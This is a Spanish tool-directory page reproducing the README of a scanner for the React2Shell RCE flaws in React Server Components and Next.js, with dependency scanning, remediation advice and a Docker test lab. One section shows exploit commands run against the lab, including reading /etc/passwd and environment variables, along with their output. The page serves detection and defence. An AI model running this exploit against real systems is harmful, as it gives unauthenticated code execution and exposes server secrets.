Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478 — Escáner para CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) - Rastrea y remedia una campaña de vulnerabilidad crítica de React Server Components (RSC) / protocolo Flight que afecta a react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack y frameworks compatibles con RSC como Next.js. | Kitploit
Herramientas/GitHubGitHub/security-phoenix-demo/react2shell-scanner-rce-react-next-cve-2025-55182-cve-2025-66478
Escáneres de VulnerabilidadesEscáneres de Vulnerabilidades WebAnálisis de CódigoExplotaciónSeguridad WebPruebas de PenetraciónSeguridad de Cadena de SuministroAprendizaje y EducaciónLabs y Práctica

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubsecurity-phoenix-demo/react2shell-scanner-rce-react-next-cve-2025-55182-cve-2025-66478

react2shell-scanner-rce-react-next-CVE-2025-55182-CVE-2025-66478

Ver Repositorio
63hace 8 mesesAún no revisado

Acerca de

Escáner para CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) - Rastrea y remedia una campaña de vulnerabilidad crítica de React Server Components (RSC) / protocolo Flight que afecta a react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack y frameworks compatibles con RSC como Next.js.

Compartir

🔍 Phoenix SCA Scanner - Universal - Versión para CVE-2025-55182-CVE-2025-66478 Vulnerabilidad React y Nexus

Vulnerabilidad EXTERNA para la clase de bugs React2Shell: dos vulnerabilidades de ejecución remota de código recién divulgadas y no autenticadas en el protocolo «Flight» de React Server Components (RSC): CVE-2025-55182 (React) y CVE-2025-66478 (Next.js), ambas calificadas con CVSS 10.0. Estos problemas residen en cómo los endpoints RSC/Server Function decodifican payloads Flight controlados por el atacante, convirtiendo una única solicitud HTTP manipulada en una potencial ejecución de código del lado del servidor, incluso en stacks modernos «por defecto» de React/Next.js que usan App Router y builds de producción. Para muchos equipos este es un momento de «parchear ahora, verificar la exposición y luego auditar», no algo que deba posponerse para un sprint posterior de higiene de dependencias. La carpeta LAB contiene exploits y vulnerabilidades de laboratorio para React2Shell

Este proyecto ofrece un enfoque doble: (1) escaneo de riesgos de composición de software / dependencias (esta herramienta), para localizar rápidamente librerías y versiones vulnerables, y (2) un escáner DAST web (React2Shell Web Scanner) que sondea activamente endpoints RSC/Flight desde el exterior, validando si las rutas explotables son alcanzables en entornos en ejecución. En conjunto, le ayudan a responder tanto «¿dónde están los componentes vulnerables?» como «¿dónde pueden explotarse realmente en producción?», de modo que pueda priorizar el parcheo, el endurecimiento y la respuesta a incidentes con confianza.


🌐 Web Scanner - Detección de RCE React2Shell

Para pruebas de endpoints en vivo y validación de RCE, consulte el escáner web dedicado:

📁 web-scan_CVE-2025-66478/ - Documentación y guía completas

Inicio Rápido - Web Scanner

root@kitploit:~
cd web-scan_CVE-2025-66478

# Install dependencies
pip install -r requirements.txt

# Scan a single target
python3 react2shell-scanner -u https://target.com -v

# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence

# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html

# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"

Características del Web Scanner

Configuración del Laboratorio de Pruebas

root@kitploit:~
cd web-scan_CVE-2025-66478/test-lab/lab

# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d

# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence

Ejemplos de Exploit (requiere Python 3.11+)

root@kitploit:~
cd web-scan_CVE-2025-66478/test-lab

# Install exploit dependencies
pip3.11 install -r requirements.txt

# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"  
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"

# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd"           # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

🛡 React2Shell / Flight Protocol RCE – Resumen de la Vulnerabilidad

React2Shell es una primitiva de ejecución remota de código no autenticada contra el manejo de payloads de React Server Components (RSC) en el protocolo Flight. En la práctica, esto significa que un cliente malicioso puede enviar una única solicitud HTTP manipulada a un endpoint RSC/Server Function y, si hay una versión vulnerable en uso, potencialmente convertir una «aplicación web» en un «shell del servidor».

A alto nivel:

  • Los payloads Flight controlados por el atacante se envían a endpoints involucrados en el manejo de RSC / Server Functions (p. ej., en despliegues de Next.js con App Router).
  • El servidor utiliza la lógica de decodificación y deserialización Flight de React para convertir ese payload de nuevo en datos e instrucciones del lado del servidor.
  • La deserialización insegura en esta capa permite a un atacante influir en la ejecución del lado del servidor, escalando a una ejecución remota de código (RCE) completa.

Debido a que se trata de RCE no autenticada, las configuraciones de producción por defecto están dentro del alcance, incluso si nunca escribió explícitamente una «server function» y simplemente adoptó patrones modernos de React/Next.js. Las mitigaciones a nivel de hosting y los WAF genéricos no deben tratarse como su principal red de seguridad: pueden reducir la exposición, pero no compensarán de forma fiable las librerías vulnerables. Trate esto como un incidente:

  • Parchee los paquetes DOM del servidor RSC de React y Next.js a las versiones corregidas.
  • Verifique la exposición escaneando codebases y SBOMs en busca de las versiones vulnerables.
  • Audite los registros en busca de solicitudes sospechosas a endpoints relacionados con RSC/Flight y rote los secretos si sospecha una compromisión.

Una vez que un atacante consigue RCE a través de React2Shell, los defensores deben asumir una kill chain conocida:

  • Descubrimiento del entorno – enumerar el runtime, la estructura del sistema de archivos, las variables de entorno y los endpoints de metadatos de la nube.
  • Búsqueda de secretos – recopilar archivos .env, secretos de despliegue, tokens de CI, credenciales de servicios y claves de firma.
  • Persistencia – dejar artefactos tipo webshell, modificar código del lado del servidor o implantar tareas programadas donde sea posible.
  • Movimiento lateral – pivotar hacia servicios internos, bases de datos, colas y APIs de gestión de la nube.
  • Continuación en la cadena de suministro – si hay credenciales de build o despliegue, moverse «aguas arriba» hacia CI/CD y registros de artefactos.

Si su pipeline de DevSecOps ha tratado históricamente la capa web como «solo un frontend», esta vulnerabilidad es una demostración concreta de que los frameworks frontend pueden conllevar un profundo radio de impacto del lado del servidor cuando están involucrados RSC y la semántica de streaming. Universal Vulnerability Scanner existe para ayudarle a responder rápidamente «¿estamos ejecutando los paquetes vulnerables en algún lugar?» y para alimentar esa respuesta en campañas impulsadas por Phoenix y, próximamente, en una validación DAST web complementaria de endpoints RSC en vivo.

🎯 Características

Escáner SCA (Esta Herramienta)

  • ✅ Soporte multi-ecosistema - NPM (con extensibilidad para PyPI, Ruby Gems, etc.)
  • ✅ Coincidencia inteligente de versiones - Análisis semver con detección basada en rangos
  • ✅ Detección de React Server Components (RSC) - Detección especializada para vulnerabilidades RSC
  • ✅ Soporte de lockfiles - Analiza package-lock.json, yarn.lock, pnpm-lock.yaml
  • ✅ Integración con Phoenix - Subir hallazgos a la plataforma Phoenix Security
  • ✅ Pruebas integrales - Paquetes vulnerables de muestra para validación
  • ✅ Informes JSON/Texto - Formatos de salida flexibles
  • ✅ Interfaz CLI - Herramienta de línea de comandos fácil de usar

Web Scanner (web-scan_CVE-2025-66478/)

  • ✅ Detección de RCE en vivo - Confirmación de vulnerabilidad segura basada en aritmética
  • ✅ Herramienta de Exploit - Ejecutar comandos en objetivos vulnerables
  • ✅ Base de datos de IOC - Más de 31 IPs maliciosas, más de 16 patrones de ataque
  • ✅ Escaneo a escala - Rangos CIDR, enumeración de subdominios, escaneo por lotes
  • ✅ Recopilación de evidencia - Captura completa de solicitud/respuesta, informes HTML
  • ✅ Laboratorio de pruebas - Entorno vulnerable/parcheado basado en Docker

📦 Instalación

root@kitploit:~
# Install dependencies
pip install -r requirements.txt

# Run from project root
python -m universal_vulnerability_scanner.main --help

🚀 Inicio Rápido

1. Escanear un Proyecto

root@kitploit:~
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project

# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json

# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet

2. Subir a Phoenix Security

root@kitploit:~
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config

# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix

3. Ejecutar Pruebas

root@kitploit:~
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test

📋 Base de Datos de Vulnerabilidades

El escáner utiliza una base de datos de vulnerabilidades basada en JSON ubicada en:

root@kitploit:~
universal_vulnerability_scanner/data/vulnerability_database.json

Vulnerabilidades Soportadas

React Server Components (RSC)

  • react-server-dom-webpack - Versiones: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel - Versiones: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack - Versiones: 19.0.0, 19.1.0, 19.1.1, 19.2.0

React Core

  • react - Rangos vulnerables: [19.0.0, 19.0.1), [19.1.0, 19.1.2), [19.2.0, 19.2.1)
  • react-dom - Mismos rangos vulnerables que react

Next.js

  • next - Rangos vulnerables: [15.0.0, 15.0.5), [16.0.0, 16.0.7)

Formato de la Base de Datos

root@kitploit:~
{
  "metadata": {
    "version": "1.0.0",
    "last_update": "2025-12-04",
    "ecosystems": ["npm"]
  },
  "vulnerabilities": {
    "npm": {
      "package-name": {
        "exact_versions": ["1.0.0", "1.0.1"],
        "vulnerable_ranges": [
          {"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
        ],
        "safe_versions": ["1.0.2+"],
        "cve_ids": ["CVE-2025-XXXX"],
        "description": "Vulnerability description",
        "references": ["https://..."]
      }
    }
  }
}

🔧 Configuración

Integración con Phoenix Security

Cree .phoenix.config:

root@kitploit:~
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new

O use variables de entorno:

root@kitploit:~
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"

📊 Formatos de Salida

Informe de Texto

root@kitploit:~
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00

SUMMARY:
----------------------------------------
Total findings: 12
  VULNERABLE:  3
  SAFE:        2
  CLEAN:       5
  REVIEW:      2

🚨 VULNERABLE PACKAGES DETECTED
================================================================================

1. [email protected]
   File: /path/to/project/package.json
   Reason: Exact match with known vulnerable version 19.0.0
   ✅ Safe version: 18.99.99
   CVE: CVE-2025-RSC-001

Informe JSON

root@kitploit:~
[
  {
    "path": "/path/to/project/package.json",
    "kind": "package.json",
    "package": "react-server-dom-webpack",
    "version": "19.0.0",
    "verdict": "VULNERABLE",
    "reason": "Exact match with known vulnerable version 19.0.0",
    "severity": "CRITICAL",
    "vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
    "safe_version": "18.99.99",
    "cve_ids": ["CVE-2025-RSC-001"],
    "timestamp": "2025-12-04T10:30:00"
  }
]

🧪 Muestras de Prueba

El escáner incluye muestras de prueba integrales en test_samples/:

Ejecutar pruebas:

root@kitploit:~
python -m universal_vulnerability_scanner.main test

🏗️ Arquitectura

root@kitploit:~
universal_vulnerability_scanner/
├── core/
│   └── version_parser.py       # Semver parsing & comparison
├── models/
│   ├── finding.py              # Finding data model
│   └── vulnerability.py        # Vulnerability database model
├── scanners/
│   ├── base_scanner.py         # Abstract scanner interface
│   └── npm_scanner.py          # NPM ecosystem scanner
├── integrations/
│   └── phoenix_uploader.py     # Phoenix API client
├── data/
│   └── vulnerability_database.json  # Vulnerability definitions
├── test_samples/               # Test cases
└── main.py                     # CLI entry point

🔐 Consideraciones de Seguridad

  1. Sin falsos negativos: el escáner peca de cauteloso
  2. Normalización de versiones: maneja especificadores de versión de NPM (^, ~, =)
  3. Detección de rangos: detecta vulnerabilidades dentro de rangos de versiones
  4. Prioridad de lockfiles: prefiere las versiones resueltas de los lockfiles
  5. Recomendaciones de versiones seguras: sugiere rutas de actualización

🚀 Extender el Escáner

Añadir Nuevos Ecosistemas

  1. Cree un nuevo escáner en scanners/ que herede de BaseScanner
  2. Implemente el análisis específico del ecosistema
  3. Añada vulnerabilidades a la base de datos bajo la nueva clave de ecosistema

Ejemplo:

root@kitploit:~
from .base_scanner import BaseScanner

class PyPIScanner(BaseScanner):
    def _get_ecosystem(self) -> str:
        return "pypi"
    
    def scan_path(self, root: Path) -> List[Finding]:
        # Implement PyPI scanning logic
        pass

Añadir Nuevas Vulnerabilidades

Edite data/vulnerability_database.json:

root@kitploit:~
{
  "npm": {
    "new-vulnerable-package": {
      "exact_versions": ["1.0.0"],
      "vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
      "safe_versions": ["1.0.5+"],
      "cve_ids": ["CVE-2025-XXXX"],
      "description": "Vulnerability description"
    }
  }
}

📈 Códigos de Salida

  • 0 - Escaneo exitoso, no se encontraron vulnerabilidades
  • 1 - Escaneo exitoso, se encontraron vulnerabilidades
  • 2 - Escaneo fallido (entrada no válida, error de base de datos, etc.)

🤝 Integración con Sistemas Existentes

Plataforma Phoenix Security

Sube automáticamente los hallazgos a Phoenix con:

  • Creación de activos por repositorio escaneado
  • Hallazgos de vulnerabilidades con puntuación CVSS
  • Etiquetas para categorización
  • Referencias CVE

Pipeline de CI/CD

root@kitploit:~
# Example GitHub Actions
- name: Vulnerability Scan
  run: |
    python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
    
- name: Upload to Phoenix
  if: always()
  run: |
    python -m universal_vulnerability_scanner.main scan . --upload-phoenix

📝 Registro de Cambios

v1.0.0 (2025-12-04)

  • Lanzamiento inicial
  • Escáner NPM con soporte de lockfiles
  • Detección de vulnerabilidades de React Server Components
  • Integración con Phoenix Security
  • Suite de pruebas integral

🙏 Agradecimientos

  • Análisis semver adaptado de react/rsc_exposure_scanner.py
  • Integración con Phoenix adaptada de enhanced_npm_compromise_detector_phoenix.py
  • Creado para una seguridad integral de la cadena de suministro

📄 Licencia

Parte del toolkit de seguridad Shai Halud.


🔍 ¡Manténgase seguro! Reporte las vulnerabilidades de forma responsable.

Descargar herramienta
CaracterísticaDescripción
🔍 Detección de RCEDetección segura basada en aritmética (sin efectos secundarios)
🎯 Huella tecnológicaAuto-detección de aplicaciones Next.js/React
📊 Exportación multi-formatoInformes JSON, CSV y HTML
🔗 Correlación de IOCCoincidencia contra más de 31 IPs maliciosas conocidas
🌐 Escaneo a escalaRangos CIDR, enumeración de subdominios
☁️ Integración con PhoenixSubir hallazgos a Phoenix Security
💻 Herramienta de ExploitEjecutar comandos en objetivos vulnerables
Caso de PruebaDescripciónResultados Esperados
rsc_vulnerable_exact/Versiones vulnerables exactas4 VULNERABLE
rsc_vulnerable_range/Rangos de versiones4 VULNERABLE
rsc_safe_versions/Versiones seguras parcheadas6 SAFE
rsc_mixed/Mezcla de vulnerable/seguro/limpio2 VULNERABLE, 1 SAFE, 4 CLEAN
rsc_with_lockfile/Análisis de lockfiles2 VULNERABLE, 1 CLEAN